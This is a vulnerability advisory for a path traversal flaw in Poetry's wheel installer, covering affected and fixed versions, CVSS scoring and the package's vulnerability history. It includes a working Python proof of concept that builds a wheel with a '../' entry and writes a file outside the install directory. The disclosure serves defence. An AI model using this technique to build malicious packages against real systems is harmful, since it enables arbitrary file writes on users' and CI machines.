High

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

  • Disclosed: 01.04.2026
  • Updated: 11.10.2026 15:17

Summary

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Impact

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

python
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) poetry >= 1.4.0, < 2.3.3 2.3.3

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
Weakness (CWE)
CWE-22
Platform
Python (PyPI)
Package
poetry
Disclosed
01.04.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-2260 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-2599-h6xx-hpxp - CC BY 4.0

Vulnerability history: poetry

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
5
First → latest
03.2022 04.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 3
  • Low 1

Disclosures per year

  1. 2022: 3
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 2
  1. Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write this entry
    High · 6.5 CVE-2026-34591 >= 1.4.0, < 2.3.3 2.3.3
  2. High · 7.3 CVE-2022-36069 < 1.1.9 1.1.9
  3. Critical · 9.8 CVE-2022-26184 < 1.1.9 1.1.9

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